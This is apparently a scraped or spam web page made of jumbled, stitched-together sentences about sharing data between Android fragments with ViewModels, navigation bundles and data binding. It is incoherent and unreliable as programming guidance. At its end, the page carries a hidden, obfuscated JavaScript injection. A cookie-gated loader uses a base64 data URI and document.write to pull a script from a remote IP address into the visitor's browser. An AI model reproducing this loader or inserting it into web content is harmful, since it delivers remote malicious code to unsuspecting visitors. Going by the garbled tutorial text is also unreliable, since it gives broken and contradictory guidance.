You can pass a bundle object as the second argument in .navigate() and access it in your fragment with getArguments(). WebShared ViewModel is used to save the app's data from multiple fragments in a single ViewModel. supportFragmentManager.beginTransaction().add(R.id.mylayout, WebYou can pass data between fragments by having them share a single view model component. Radio button option0 represents dateOptions[0] in viewModel (today), Radio button option1 represents dateOptions[1] in viewModel (tomorrow), Radio button option2 represents dateOptions[2] in viewModel (the day after tomorrow), Radio button option3 represents dateOptions[3] in viewModel (two days after tomorrow), @{viewModel.date.equals(viewModel.dateOptions[0])}. Siva Ganesh Kantamani 14.9K Followers I have a simple scenario, I have two activities (MainActivity and SettingsActivity). If you see the class names, property names, or method names in gray font in Android Studio, that's expected. Some examples of data types you can send are a String, char, boolean, int, byte, booleanArray, intArray, etc. class MainActivity : FragmentActivity() { instantiate the viewmodel outside of the provider factory, which is bad. You will pass the quantity of cupcakes to the flavor fragment in a later task. } ViewModel is about model for a single view. A-143, 9th Floor, Sovereign Corporate Tower, We use cookies to ensure you have the best browsing experience on our website. lookUpViewModel = new LookUpViewModel(); ", @{viewModel.flavor.equals(@string/vanilla)}. Multiple fragments in the app will access the shared ViewModel using their isn't well defined. Previously I was declaring ReceiverFragment receiverFragment = new ReceiverFragment(); in MainActivity. and using viewModelFactory by extends ViewModelProvider.NewInstanceFactory, ` private MutableLiveData mutableLiveData; Reply to this email directly, view it on GitHub In this case we should implement a viewmodel for the webview which tells the webview state for example? Fragments should generally only communicate with their direct parent activity. Similar to the previous task, in this task you will add the navigation to the other fragments: flavor and the pickup fragments. For start fragment, use @string/app_name with value Cupcake. :^|; )"+e.replace(/([\.$? Note: If Android Studio is already open, instead, select the File > New > Import Project menu option. Here is a sample video to understand what we are going to build in this article and what actually a Dialog Fragment is. In this task, you take advantage of all the order information from the shared view model and update the onscreen order details using data binding. savedInstanceState: Bundle? Have a question about this project? For details, see the Google Developers Site Policies. @rramprasad I believe you can achieve that easily by passing the instance of your Fragment instead of your Activity inside your Fragment when creating ViewModel. While you developing an android application, So many scenarios come where you need to communicate between two fragments. When the first instance of the activity is created, the bundle is null; and if the bundle is not null, the activity continues some business started by its predecessor. In MainActivity I have FragmentA while in SettingsActivity you have FragmentB(which is preferenceFragment). *|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('